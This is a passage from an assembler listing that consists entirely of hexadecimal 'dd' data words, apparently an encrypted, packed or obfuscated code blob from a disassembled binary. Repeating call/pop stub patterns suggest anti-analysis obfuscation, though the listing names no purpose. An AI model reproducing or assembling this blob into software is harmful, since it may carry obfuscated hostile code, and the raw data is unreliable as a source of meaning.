		dd 1CC72503h, 0E878988Fh, 1F4A3EA4h, 0CB753A4Bh, 77E0E06Fh
		dd 0C26A8FBEh, 0E0635DBDh, 0A0430C8Ah, 78F64C4Ah, 9F6B7514h
		dd 59D10EDh, 156A0000h,	0D02BCEB9h, 8FEE09F6h, 49AD4837h
		dd 767824Dh, 22CFC08Fh,	2F98F676h, 6CDBB334h, 0A8176F89h
		dd 0E8572F4Dh, 3DC21503h, 5A7BAEBAh, 73512057h,	9D5D1BE0h
		dd 37C03875h, 0A9876B73h, 8A744EBEh, 2DDF234Fh,	1C7A54AAh
		dd 3268353Eh, 0B38F6F92h, 449AC884h, 7FC31B75h,	4AA6D601h
		dd 358B497Fh, 870A5D22h, 0D3047A69h, 69870A4Eh,	5D399565h
		dd 9DF977F2h, 3896D46Fh, 54324912h, 0CDC92DB6h,	0C534AC5Fh
		dd 7544DCC3h, 4F3896D4h, 1940F75Ch, 207A8C2h, 7B4D0000h
		dd 0B6A19F63h, 4F8C244Dh, 36FB6C52h, 5D6F8C03h,	840266FDh
		dd 0E0DEBA66h, 0C08F0767h, 2E6B0AC0h, 26DD4F70h, 0A01E5E19h
		dd 8593218Ah, 314F6F8Bh, 209B9F55h, 7EECDE54h, 4C69Fh
		dd 92EC0100h, 2FA7C225h, 68668560h, 0A620449Fh,	0E0DE1ED9h
		dd 2DF93617h, 0E306F1CDh, 0A0430C8Ah, 64FF4846h, 2A3F8806h
		dd 0BB14994Ah, 6E237BAEh, 9F637B77h, 244DB6A1h,	0B88E4F8Ch
		dd 0EE1B940Eh, 3DC21598h, 5A6F8BF9h, 3B2C0AE6h,	6F8BF876h
		dd 0EE92BD9Dh, 967F812h, 0C927C28Dh, 66845FCDh,	7993EB0Fh
		dd 60072581h, 0EA0021E8h, 0A30823ECh, 4BC1451h,	151h, 5836B411h
		dd 985E57Eh, 738952FEh,	6086AC1Bh, 5FABBC9Ah, 4A4F8A58h
		dd 4A9354F6h, 646F9258h, 5FC41DECh, 0C0BC0DF0h,	3Fh, 1D637BD5h
		dd 9D5D45CAh, 0FB6C5275h, 759D5D36h, 0C201FD5Dh, 0DE0228A6h
		dd 9BD30462h, 964F8A74h, 9E2F80AAh, 0C86F9234h,	91ED0FC8h
		dd 8FBD1952h, 0EDDCA453h, 0E172F94h, 85F0BCh, 0B4850000h
		dd 29B25836h, 8C57F5D1h, 53AE7A6Eh, 0E5DB8C3Fh,	2C868F63h
		dd 7CD873ADh, 9FF775CEh, 0FA9E2530h, 5E9C759Dh,	4B939760h
		dd 0A8AB89E7h, 3CC7704Eh, 4F9029EEh, 1ED9370Bh,	0DC17E0DEh
		dd 3A20229Ch, 51DE4F5Ch, 3995ABBh, 19560000h, 0D417D2BDh
		dd 93EA0DFAh, 4DA94C3Bh, 0B638671h, 26CBC4B3h, 339CFA72h
		dd 70DFB730h, 0AC1B73F5h, 0EC5B3349h, 41CE1907h, 567BAEBCh
		dd 34B4245Bh, 0F40AED5Ah, 51362D9Ah, 5D1BE073h,	0C038759Dh
		dd 403EBC37h, 0E3DB11AAh, 62C81E14h, 7A3FD304h,	0C63A4F8Ah
		dd 0E6448AE8h, 0C5F3FBFAh, 0A7BC4192h, 67DB6F91h, 28B334D8h
		dd 0E26F91A9h, 0B9155192h, 0D8A0AF93h, 0E3479FF1h, 0C4BE5285h
		dd 967497Eh, 8473382Bh,	0B8806986h, 8684E6ABh, 0D9B53469h
		dd 0CD4DCF33h, 0D5A29E42h, 549651EEh, 0DF68D07Ah, 42E8E604h
		dd 0BC0B83F9h, 0AC8A7076h, 8A586FBBh, 88E65A4Fh, 0B8522C4Fh
		dd 0D9398E40h, 0F5B14E5Ah, 9C2D864Ah, 366F9244h, 985BCB3Eh
		dd 10C8625Ch, 45FC4E7h,	55C0BC0Eh, 0D5000000h, 0A19F637Bh
		dd 0BE4945A6h, 73D515DEh, 0C3044F8Ah, 0DD3D2FA7h, 0D88C130Bh
		dd 0DC6BA3B4h, 0B7A4B220h, 0CFAD96B9h, 0D2A0C579h, 0C9A57E0Eh
		dd 0E53F8823h, 93696F91h, 559EFC28h, 6F91E3C8h,	0C9E413EFh
		dd 0BC0E6762h, 1EE37452h, 356F91F0h, 0B4CD3AC5h, 0EA000000h
		dd 7E5836B4h, 5D4AD700h, 9169759Dh, 7EF4AA66h, 0BFC501D8h
		dd 0EE89B6FCh, 0BE18578Eh, 599728C2h, 0F674CF7Dh, 9D242F98h
		dd 93759DA9h, 0EBE3065Dh, 47A5400Fh, 11D5DD4Fh,	2C64CF29h
		dd 114F8AB7h, 0B8522C4Eh, 3D1BE440h, 37C0BE3Ah,	0A9876B73h
		dd 84C2AEBEh, 41BF8349h, 9F686686h, 0A8AA2444h,	0E45AC1BCh
		dd 0FCDC39D3h, 0CB000001h, 0F46FD8B6h, 4FAA1571h, 0EE95630h
		dd 0C023ECEAh, 6C612EA8h, 3F97D7C3h, 7A549550h,	0B6106A8Dh
		dd 0F6D02EC9h, 0A3B4E009h, 7BAEBDDEh
		dd 0B441B4F5h, 820FD834h, 91759D5Ch, 5093CDA9h,	0AD8DBF17h
		dd 3AB0B3A2h, 7B8CF35Ch, 0B6A19F63h, 4F8A7436h,	7725C73Bh
		dd 0F21D79FCh, 9233D667h, 9178F06Fh, 239BD215h,	944D872Dh
		dd 0CF78074Dh, 0E2377DCh, 0C028BCh, 0B4CD0000h,	8409DA36h
		dd 93759D5Ch, 8659F3AFh, 0D00E6866h, 4FFDD917h,	5CBB4093h
		dd 60D8759Dh, 33B235D7h, 9759D59h, 0C92C9BF3h, 7AFDDBB3h
		dd 0D07C8B03h, 3DB31EC0h, 9B77AB41h, 667AAABDh,	9B674F8Ah
		dd 1AE0062Ch, 74802B3Ch, 0BDB34984h, 859576h, 964AF531h
		dd 50723F28h, 0B9816985h, 0AA403EBAh, 0BBBC9A76h, 9CFC4B43h
		dd 3C27215Bh, 6985506Fh, 32D8B484h, 46A641CEh, 53A48A48h
		dd 11BBE45Ah, 0FE34h, 0DAB4C900h, 176F8A6Dh, 502E4DA8h
		dd 0EEE80CE7h, 28A6C621h, 0D5C16E5Fh, 0AB4E3995h, 688B7452h
		dd 2CC7B00Eh, 0E207F0CEh, 0BEDCA1B2h, 0B6FB7BAEh, 5A34B44Fh
		dd 9AF40AEDh, 36B4362Dh, 36C22532h, 0F1ADE3D6h,	6C6A805Bh
		dd 0F9578FA3h, 32BC412Fh, 9FF95552h, 8CB72754h,	5ECC4C4Fh
		dd 6E85E760h, 35D7B30Bh, 41BF3AC5h, 594D7A2Fh, 78FBFD42h
		dd 0B06882FCh, 72886BD4h, 0B4C04D96h, 6BD76F8Ch, 0B555DA0Dh
		dd 9E626F8Ch, 74520822h, 8CB51EE3h, 3AC5356Fh, 0A4F6BAFh
		dd 0AB23474Bh, 0C0BE3E81h, 7FEDE903h, 3AECDF05h, 98A910D6h
		dd 0C90A6462h, 0C73BD1ADh, 0D02EC938h, 0E2185791h, 3E9A46E4h
		dd 0B5EE6442h, 8CCF0664h, 7CC789B6h, 66C9EF8h, 0A7ADD920h
		dd 0F8C70EF4h, 0E9E50653h, 967020Dh, 9C4C4FE7h,	7CD852ADh
		dd 0BC1A5093h, 2EF36442h, 45531217h, 47864AF5h,	3, 0B42C9360h
		dd 2AAD5F37h, 8F50FAD4h, 60FB116Dh, 0DA9D8F07h,	0BD0624A2h
		dd 10AB413Dh, 8F50FAD4h, 63F41670h, 199C8E08h, 5404EC83h
		dd 8124048Fh, 42404h, 89530000h, 4C381E3h, 83000000h, 1C8704EBh
		dd 2C895C24h, 5046824h,	0C890000h, 9A685324h, 5B30EE15h
		dd 0BBA3B951h, 0CB292ADCh, 5BDD8959h, 240C8B54h, 5504C483h
		dd 68242C81h, 8F65C413h, 41810841h, 0C4136808h,	2434FF65h
		dd 4C48159h, 8B000000h,	8957242Ch, 4C781E7h, 83000000h
		dd 3C8704C7h, 1EE95C24h, 3AFFFADFh, 0B8B7F086h,	61163A0h
		dd 0E0FFC503h, 633C616Ah, 804281Fh, 44CF2610h, 3A14C8A1h
		dd 58B0D4A8h, 4F1D9DACh, 3D86912Ch, 652C8D8Dh, 0B58B0611h
		dd 60B21DDh, 174D8D89h,	8F0F060Bh, 6, 1CDB531h,	85C7060Bh
		dd 60B0119h, 5C40h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0D7C35242h, 0C70234ECh, 0B100985h, 6
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 14E83FDAh, 36000000h, 663FFC72h,	1B2FF190h
		dd 0FA3ED861h, 0EE12A590h, 80F6EFF0h, 0FF5E34E3h, 0B1AA9B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0EC9CFE1Ch, 50DD1B8Bh, 95FF5366h, 60B0AC5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A4C35343h
		dd 640E6904h, 2918D026h, 0B005D8Dh, 0FF006A06h,	0B32DD95h
		dd 0EBC08B06h, 0CA9E4F4Fh, 69AE62h, 6785FA15h, 0FC9744C9h
		dd 0BD70EE92h, 6E0BB07Bh, 32FE5A59h, 0BB443D2Dh, 628C4AE6h
		dd 30227D90h, 2159806h,	0C4D1E365h, 0D3697389h,	6922452h
		dd 738EEEAh, 904882A8h,	72581C3h, 536E654Fh, 8C72A618h
		dd 6955662Ah, 10E8h, 9E4B6900h,	6A9FCDAEh, 12D8158Eh, 993C6663h
		dd 665BF801h, 0C381D68Bh, 6A22h, 68D6B70Fh, 0
		dd 8B59C18Bh, 0FE90B3Ch, 91000000h, 2369A364h, 0E839B8AEh
		dd 1F44114Ch, 0C781630Ah, 2E116E83h, 19FD858Bh,	0C781060Bh
		dd 5CBBD634h, 0FE9h, 0A8D2A100h, 1D149AA7h, 1F2D54B9h
		dd 0AA6880BDh, 0DE8BC781h, 858B781Fh, 60B1241h,	0B048F57h
		dd 1890Fh, 81F90000h, 9A62B9E9h, 0EE90Ch, 80330000h, 0EB3EABCEh
		dd 3F2EE1B7h, 0DBB27E38h, 62B5C181h, 0F08B0C9Ah, 96A8F981h
		dd 850FFFFFh, 17h, 62EA8166h, 1DE9B7h, 0EF0D0000h, 0DC014AADh
		dd 682BCE00h, 66BE79AFh, 60E9F28Bh, 95FFFFFFh, 956881BCh
		dd 8D7D3A23h, 11673E8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0C6BF0F25h, 174D8D89h
		dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0C40B36C3h, 11985C7h, 6524060Bh, 85890000h
		dd 60B3275h, 100985C7h,	60Bh, 0CE90000h, 0E2000000h, 91623F18h
		dd 0FAA03ACCh, 0FF13BE62h, 0B1F8DB5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0A814EF7h, 13E8F6D5h, 0DA000000h, 6167CBCh, 287E6E96h
		dd 4961BA91h, 1024C83Dh, 858B55FCh, 60B1621h, 0C595FF58h
		dd 6A060B0Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0FD5C351h, 284h, 6AF08B00h, 0DD95FF00h
		dd 8B060B32h, 0E83AEBC0h, 0DA6D8E72h, 0EBEDEE59h, 638B77Ch
		dd 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh, 0E1BEC0F2h,	7654ECF7h
		dd 6036D61h, 0F0693E39h, 0E9969B90h, 0F055E7EAh, 0B39AD6Ch
		dd 8444E861h, 0DE8BBh, 0CE0C0000h, 292A317Fh, 0EBDEF90Ch
		dd 0E92C5C17h, 0Bh, 4B715678h, 0D5A1E786h, 5F681C5Bh, 0C781E28Ah
		dd 6A4Eh, 2DFD8D01h, 0BA060Bh, 0E8000000h, 5, 75EDE810h
		dd 0BADB81DAh, 594D8D2Dh, 8B3A34FFh, 0B0F199Dh,	0BD315E06h
		dd 60B2305h, 0D61EE81h,	13E97285h, 2C000000h, 0F8D7217Bh
		dd 0FFC8AE73h, 5365B218h, 69491559h, 0F6815359h, 4D8DEA56h
		dd 18B59589h, 0EE81060Bh, 4FCC0378h, 1F71858Bh,	3489060Bh
		dd 0F856FC17h, 4EA8358h, 17E59D2Bh, 0FA81060Bh,	0FFFF9658h
		dd 0FF9E850Fh, 8D8BFFFFh, 60B01F1h, 68EC8D8Dh, 6CB70611h
		dd 1785B529h, 8D89060Bh, 60B174Dh, 0D68B6652h, 1985C75Bh
		dd 8C060B01h, 6A000058h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0C697C352h,	7C51B13h
		dd 66920EAFh, 0FF8A8BFh, 0C89h,	0B9666000h, 0EE81FBCAh
		dd 4E92D88Bh, 985C761h,	60B10h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8BFEC351h
		dd 199D89D9h, 0FF060B12h, 0B1F8DB5h, 29B50B06h,	0FF060B10h
		dd 0B0AC595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0FF006AB9h, 0B32DD95h, 0EBC08B06h
		dd 74251C3Ah, 9BBC073Ch, 0F241562h, 2832BB00h, 5BE710B5h
		dd 1694106h, 2908D241h,	0A0E3BE32h, 0E31071CDh,	806DCC12h
		dd 98C78BB8h, 0B9C1F71Ch, 4476B120h, 3E243EFAh,	8DD3ADAEh
		dd 1169A88Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0FCCA38BBh, 6DBD8BD7h, 89060B01h
		dd 0B174D8Dh, 0B5958906h, 0C7060B01h, 0B011985h, 57F806h
		dd 0F9B70F00h, 100985C7h, 60Bh,	0B5FF0000h, 60B12A9h, 2F29958Bh
		dd 95FF060Bh, 60B0AC5h,	817EB866h, 0CE9h, 0AE73F800h, 0B218FFC8h
		dd 15595365h, 0FF006A49h, 0B32DD95h, 0EBC08B06h, 6C524B48h
		dd 0EA13A717h, 0E8E12989h, 71B8B6C4h, 8AD1B115h, 50F936D4h
		dd 74CB6082h, 74BB424Ah, 52FDCEFAh, 1859CC3Eh, 88EEBABCh
		dd 173E3F84h, 6223FD39h, 1F1A610Dh, 9D937A80h, 0BDC2367Fh
		dd 907BF05h, 0DBC794F2h, 6E817h, 5C800000h, 0ABA0D127h
		dd 9529F560h, 60B2B25h,	8D895961h, 60B1069h, 6529C181h
		dd 9D8B0000h, 60B05CDh,	8A0FD22Bh, 4, 50FBB66h,	8111048Bh
		dd 58AD59C0h, 11E94Fh, 9BEC0000h, 0DDC776B2h, 0C5D42F64h
		dd 0DBC60F3Ah, 81BD6084h, 0F257F3F0h, 97BE665Fh, 0FF08110h
		dd 0E92A763Dh, 6, 1A606B2Fh, 4891848h, 6860F11h, 2B000000h
		dd 0B15E99Dh, 0DF816606h, 0EA8159F5h, 49DD0A5Dh, 13E8h
		dd 55FA4500h, 0B167FD15h, 75D18293h, 0A7020FB6h, 0B1D83A94h
		dd 0CE9h, 8A60FB00h, 1CE9D09Dh,	36BC3496h, 0C2815B71h
		dd 49DD0A59h, 60D78B60h, 66D68B66h, 6711CB81h, 0FA816161h
		dd 0FFFF9BD4h, 22850Fh,	51600000h, 644665BEh, 0E2815B15h
		dd 1557E1B1h, 21E961h, 66EC0000h, 999A8A77h, 1AAF7307h
		dd 8A19D9DDh, 0BF665750h, 5B5E4F9Dh, 0FFFF33E9h, 7BC23CFFh
		dd 0E80F0BEFh, 8, 58AB009Fh, 0C49033A9h, 0E8DCBB66h, 0F88B6659h
		dd 704DC181h, 8B660000h, 1BE968DAh, 0FA8B0000h,	6985895Ah
		dd 0FF060B1Ah, 0F08B6631h, 5E95358h, 9000000h, 0CDDE0305h
		dd 8EE8815Eh, 89322E94h, 0B04A5BDh, 0C4E88106h,	8B0D1AE7h
		dd 8CF081F2h, 0E9499D89h, 0Ah, 975B86E7h, 119474DDh, 189F0DCh
		dd 8101E983h, 88CFCD6h,	49494937h, 718D8B60h, 80060B06h
		dd 81612DC0h, 1EAh, 1B850F00h, 8B000000h, 0B0BD19Dh, 1BE906h
		dd 8C930000h, 24CE0375h, 0A427B90Eh, 59FAE40h, 0E9F8F1D9h
		dd 0FFFFFF7Fh, 992BC527h, 828D8D96h, 6A06116Ch,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 5E64C357h, 0AAC6ACDAh, 4D8D8937h, 66060B17h,	85C7DF8Bh
		dd 60B0119h, 5F84h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 67C35040h, 90E63183h,	0E9197D71h, 14h
		dd 0AA5693C5h, 7A9895E7h, 0EEAF677Bh, 0BF30F16Bh, 99CF0D58h
		dd 100985C7h, 60Bh, 8E90000h, 3000000h,	0C96EBB0Ch, 0FF65DB6Dh
		dd 0B19C9B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0FFD5B0BFh, 0B0AC595h, 11E906h, 121F0000h
		dd 0AA7D8B0h, 95F6B21Bh, 0CFBC3BA1h, 6A4A6DFEh,	0DD95FF00h
		dd 8B060B32h, 0C26DEBC0h, 39F3A3E6h, 0DDF77A1h,	152CA0FCh
		dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h, 2C8DAC97h
		dd 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h,	0A0F85E52h
		dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0ED04C79h, 32AAB3ADh
		dd 0E356821h, 759A3E78h, 0EFE31BA1h, 0BF274AA3h, 47190CC9h
		dd 82C0558h, 0F2633E73h, 0DAD2CB56h, 0E86D0468h, 6D898D8Dh
		dd 9D890611h, 60B18E5h,	174D8D89h, 858B060Bh, 60B03C9h
		dd 11985C7h, 5C18060Bh,	0B5890000h, 60B28CDh, 10E8h, 0C8D1DF00h
		dd 50369DA8h, 89B17D99h, 0FC86FE46h, 965DB873h,	0C75806B6h
		dd 0B100985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0A46ABB08h, 0B5FF0FE3h
		dd 60B1B7Dh, 8870Fh, 8E0F0000h,	2, 0BD8B6160h, 60B0B1Dh
		dd 0AC595FFh, 6A060Bh, 32DD95FFh, 0C08B060Bh, 9942AEBh
		dd 6C6D0051h, 5359918h,	0F1E276E7h, 0EADCA3E9h,	0D061A3DCh
		dd 4F34D70Dh
		dd 0EF801AA8h, 36E26D06h, 9975820Fh, 0BDEFDD68h, 6E7C8D8Dh
		dd 8B600611h, 0B177DB5h, 128E0F06h, 0E9000000h,	0Dh, 57C6E3A4h
		dd 4A1307F9h, 5067A6B7h, 8D896120h, 60B174Dh, 68F0Fh, 8D890000h
		dd 60B2425h, 11985C7h, 68D4060Bh, 0D18B0000h, 100985C7h
		dd 60Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 170424h, 53430000h, 0B0EED2C3h, 6890F44h, 89000000h
		dd 0B14A9BDh, 0E0816606h, 858BBD61h, 60B29E5h, 2705B5FFh
		dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 8855CFC3h, 8B9C5B55h, 0B02FDBDh, 0C595FF06h
		dd 0B060B0Ah, 0B0EFDBDh, 0FF006A06h, 0B32DD95h,	0EBC08B06h
		dd 0E549396Bh, 0F598E6A9h, 1A17C968h, 0BFE8F2F5h, 495EC5C0h
		dd 7828DFACh, 9019AF08h, 0FB08C4CAh, 3BCBE583h,	9BAB312Eh
		dd 8DB13963h, 0C23803DFh, 465E381Fh, 8091EEB5h,	0B1C6A5FCh
		dd 4B47523Ch, 0EEE72D8Ch, 14A14473h, 0E76C0272h, 66D1D577h
		dd 0F7C10DC2h, 0C75CA0CCh, 55A870D3h, 0A2DE9EFBh, 2F8365E2h
		dd 0D06E90BDh, 9DA2BB90h, 0EE8h, 0D81DB00h, 0E60903FEh
		dd 67D2A678h, 8A378EDCh, 0BF6659F0h, 0C181DBE3h, 6FBEh
		dd 348BDB2Bh, 0D7B70F19h, 0BCD4EE81h, 56BF53B1h, 8124F038h
		dd 3CCEFBF6h, 0E99D0165h, 81060B08h, 0B6B5FFEEh, 89FBB47Eh
		dd 958B1934h, 60B04A9h,	0BE9h, 3BCE1000h, 4C5302C3h, 28011E92h
		dd 0D5E7EB81h, 858B2C81h, 60B243Dh, 0D5E3C381h,	0BD892C81h
		dd 60B27D9h, 90C0FB81h,	850FFFFFh, 0FFFFFF9Eh, 0E8CCC080h
		dd 0Fh,	0AF2EF6Ch, 2B5B7A78h, 391B67A7h, 60ABBF39h, 891EE880h
		dd 0B00399Dh, 565A6106h, 10E9h,	2DED1000h, 0BCD5D89Eh
		dd 6F3EC741h, 372300E7h, 0C2815BB8h, 6E42h, 29FD8589h
		dd 60BE060Bh, 0E900001Bh, 0Eh, 7DD5FB3Ah, 0C24E6695h, 638954E5h
		dd 3A8B6FA7h, 1F658D89h, 0EF81060Bh, 3093848Dh,	33298503h
		dd 0C781060Bh, 0D7D68A8h, 81DBB70Fh, 52D9E8EFh,	0CF7B807h
		dd 3A892A86h, 83C1B70Fh, 858B02EAh, 60B2241h, 0B70F4A4Ah
		dd 1EE83D8h, 12850Fh, 5BB0000h,	0E91B8A95h, 22h, 8FBC7BF9h
		dd 346C0959h, 0F498D89h, 9FE9060Bh, 38FFFFFFh, 9EB62253h
		dd 7F6E99D3h, 0CEC791h,	8D8D3CC0h, 61170BEh, 4D8D89FCh
		dd 1060B17h, 0B32A9BDh,	1985C706h, 4C060B01h, 0F000060h
		dd 85C7C6BFh, 60B1009h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5CC35040h
		dd 0BD31DC8Dh, 60B0149h, 891DD280h, 0B183D9Dh, 8DB5FF06h
		dd 0E9060B1Fh, 0Bh, 0F926AF6Fh,	0E7F8ABE0h, 0FFF8DDF3h
		dd 0B0AC595h, 79B50B06h, 6A060B16h, 0DD95FF00h,	8B060B32h
		dd 6B3AEBC0h, 51439FBCh, 48EBB9FAh, 0C4674AE3h,	0A9105757h
		dd 74315BBh, 19BCCD4Dh,	0AD99E0D7h, 0E27565C4h,	157FD26Eh
		dd 0A7CFDBDFh, 0F6D2AF9Bh, 80F986F5h, 19983A54h, 0D1C242FBh
		dd 14E835h, 7D580000h, 2055173Ah, 0D120993Dh, 0B6C9390Bh
		dd 4B4A6FEBh, 0DE9F441h, 3B000000h, 2D533925h, 8045DCB4h
		dd 82C1BE20h, 0A9BD8958h, 81060B0Fh, 5ACDC0h, 25BD8B00h
		dd 68060B0Ch, 1683h, 68B0Fh, 95890000h,	60B0AEDh, 62C9805Bh
		dd 895E30FFh, 0B31C19Dh, 0F4F68106h, 8B40FC78h,	0B08C9BDh
		dd 0DBF68106h, 0B0F354Eh, 0B0E398Dh, 82C68106h,	0B9380668h
		dd 69A828F5h, 0C2803089h, 4E88340h, 12850F4Bh, 0BA000000h
		dd 7C94B5CBh, 32E9h, 1492D200h,	29AB0F55h, 13E823h, 87E10000h
		dd 82E93EB9h, 65E7FABFh, 508EBFB6h, 0ABF06A01h,	59D78B68h
		dd 0FFFF93E9h, 64287BFFh, 6EA445C8h, 0E86F3C9Ch, 6, 89EB885Bh
		dd 0BE6670C8h, 895A2CBDh, 0B05CDB5h, 0EBC28106h, 0BB000074h
		dd 2A91A4C9h, 7843C381h, 9509D56Eh, 60B2981h, 0BF0F3A8Bh
		dd 7DC781CAh, 91853FFh,	0B1EC195h, 83F78106h, 8B580213h
		dd 0B0CE58Dh, 47F78106h, 0E90511A5h, 10h, 5404610Fh, 0C5A8404Eh
		dd 93E45FB6h, 0C7096247h, 10E957h, 9B690000h, 3707419h
		dd 7FF4951Bh, 0F141CC7h, 28F9470h, 8B01EA83h, 0B27D185h
		dd 4A4A4A06h, 0B6DBD09h, 0EB83060Bh, 15850F01h,	9000000h
		dd 0B10618Dh, 21E906h, 4FFF0000h, 0BCF0854Dh, 0FEB9C752h
		dd 90C08166h, 0FF76E939h, 0E56CFFFFh, 0C5D0695Eh, 647F5B2Eh
		dd 82A4E8C1h, 889A075h,	0DC781469h, 4F378DA6h, 2E86362Eh
		dd 908635A1h, 4813D925h, 99053025h, 148D11B4h, 81023F25h
		dd 7863025h, 49908198h,	0A5893023h, 9086305Eh, 60C3B5E3h
		dd 0CCC8362Eh, 12863021h, 0A1C4E765h, 0A0C2BB75h, 0CB86BB21h
		dd 79821461h, 0B11785DAh, 0CD0B362Eh, 22884D3Dh, 0E20DE0DAh
		dd 21C3B5E3h, 0ECC8362Eh, 0D585B61Ah, 20A234A4h, 6F970F74h
		dd 43908190h, 3C03BD23h, 0ED803E58h, 0B07EBBF5h, 84863035h
		dd 428638CCh, 0A4899625h, 9086302Bh, 474F3B6Ch,	0DB79C0A0h
		dd 128BD9DAh, 940B3025h, 828D7DF2h, 4286359Dh, 0AC65CF25h
		dd 81F4BB98h, 190BBD23h, 9C802156h, 94B61537h, 8247FF0Eh
		dd 889A075h, 0DC781469h, 4F378DA6h, 2E86362Eh, 908635A1h
		dd 4813D925h, 99053025h, 5E983B4h, 22B9A4F3h, 0E8000000h
		dd 0Eh,	436BF0AAh, 61FCDCBDh, 0F4D6047Bh, 9501E026h, 60B06B5h
		dd 96BB665Ah, 1CC281F6h, 66000067h, 688E88BFh, 19A9h, 33C19D8Bh
		dd 235E060Bh, 0B2E918Dh, 29028B06h, 0B1581B5h, 0AC08106h
		dd 8B6C64A9h, 8CE881DAh, 815E2A9Bh, 956CD8EBh, 0A2C0812Dh
		dd 524026FFh, 3820Fh, 8B660000h, 2895BFAh, 2904EA83h, 0B04298Dh
		dd 1EE8306h, 0FFBF850Fh, 9589FFFFh, 60B1F79h, 74FD8D8Dh
		dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0E98FCCC3h, 79867521h, 0CE9h, 5E2BE400h
		dd 18F86697h, 0C3338215h, 0ABE0807Ah, 174D8D89h, 0C7FC060Bh
		dd 0B011985h, 628C06h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 19E5F9E5h, 8589B34Eh
		dd 60B0DB5h, 68F0Fh, 0B58B0000h, 60B2A8Dh, 100985C7h, 60Bh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0EF5841C3h, 205FD20Eh, 0F19D8927h, 0FF060B30h
		dd 0B1A49B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0C595FF71h, 6A060B0Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0F5D9C356h, 1935B58Bh, 6A060Bh, 32DD95FFh, 0C08B060Bh
		dd 820B0DEBh, 24469F99h, 7A730406h, 0EB0A2184h,	0A41F3F04h
		dd 813E92Ch, 0B2C40000h, 58AF589Bh, 0E1D8A69h, 0BFC72033h
		dd 6EB25380h, 2E358C57h, 698AB5CFh, 995A67BCh, 362D186Ch
		dd 62F1CCD9h, 0AFDB5399h, 20C58568h, 1EBDEB51h,	6BFE5EDh
		dd 1BEB05E3h, 0C3943A6Ah, 0B6AD98EDh, 5D8F94E8h, 3FD122D3h
		dd 0D4F334D9h, 39D7CB14h, 9F1774ADh, 0DF1C9BDh,	0F379445Ch
		dd 6B9CD61h, 0EF0E3A61h, 3AE82FD4h, 0CB655952h,	973F9C28h
		dd 0B9FF0DEBh, 1C68FC6Eh, 933A616Eh, 7B8C81AFh,	613FA4Eh
		dd 9F9947CBh, 349CE90Eh, 63F0D4E5h, 36647891h, 4457462Ch
		dd 570B65AEh, 3A1E2EDFh, 718B7256h, 6886FA4Eh, 4891h, 8B9A0B00h
		dd 58F6CABEh, 0FBDADEE2h, 6352A617h, 0E6E7219Fh, 1FC4FB01h
		dd 400D4CFDh, 276532h, 0DE830000h, 0DF17FBDAh, 0C3941DAEh
		dd 552B9082h, 78CA6754h, 28A5FF29h, 5486B9C3h, 9C605FA9h
		dd 2ED58EB8h, 17h, 0FBDADEB6h, 1DADDF17h, 9484C394h, 5231E69h
		dd 0A7FD22A3h, 0BDBD5B98h, 860A4750h, 8418A442h, 582C196Ah
		dd 48DA0064h, 8F734E5Dh, 87BEC24Bh, 0A531DF33h,	0BD9EFC80h
		dd 916F26C5h, 7BE85655h, 600097F3h, 0CE22183Ah,	64B766EAh
		dd 12618E55h, 49534B3Fh, 59842832h, 2E446B34h, 0BFF560D4h
		dd 9418AA2Eh, 307D1AF0h, 940BD877h, 1003F1D1h, 0E83B123Ch
		dd 96E502D1h, 65E9E82Eh, 0E979CD21h, 307D538Dh,	0CB30BDF7h
		dd 0C10E14B8h, 7D53D9ADh, 7054AE30h, 6F31C71Ch,	0DB9F710Eh
		dd 0F8D5DE65h, 0CD4CB406h, 3740050Ch, 3A25h, 0E6FC300h
		dd 29BD9F71h, 0C3941D5Dh, 0BD76E8D2h, 4D1EBD47h, 0D8C95FA6h
		dd 0C1FEE18h, 50BD5B3Dh, 4E82764Bh, 0DD0208A0h,	1D1FF98Dh
		dd 8E9D6C06h, 5D8BCFB3h, 35C8E7h, 0BD500000h, 889C4450h
		dd 91F5C9BDh, 7F3FE92Dh, 0DAE9DA1Eh, 55DA57F3h,	28D7F1A8h
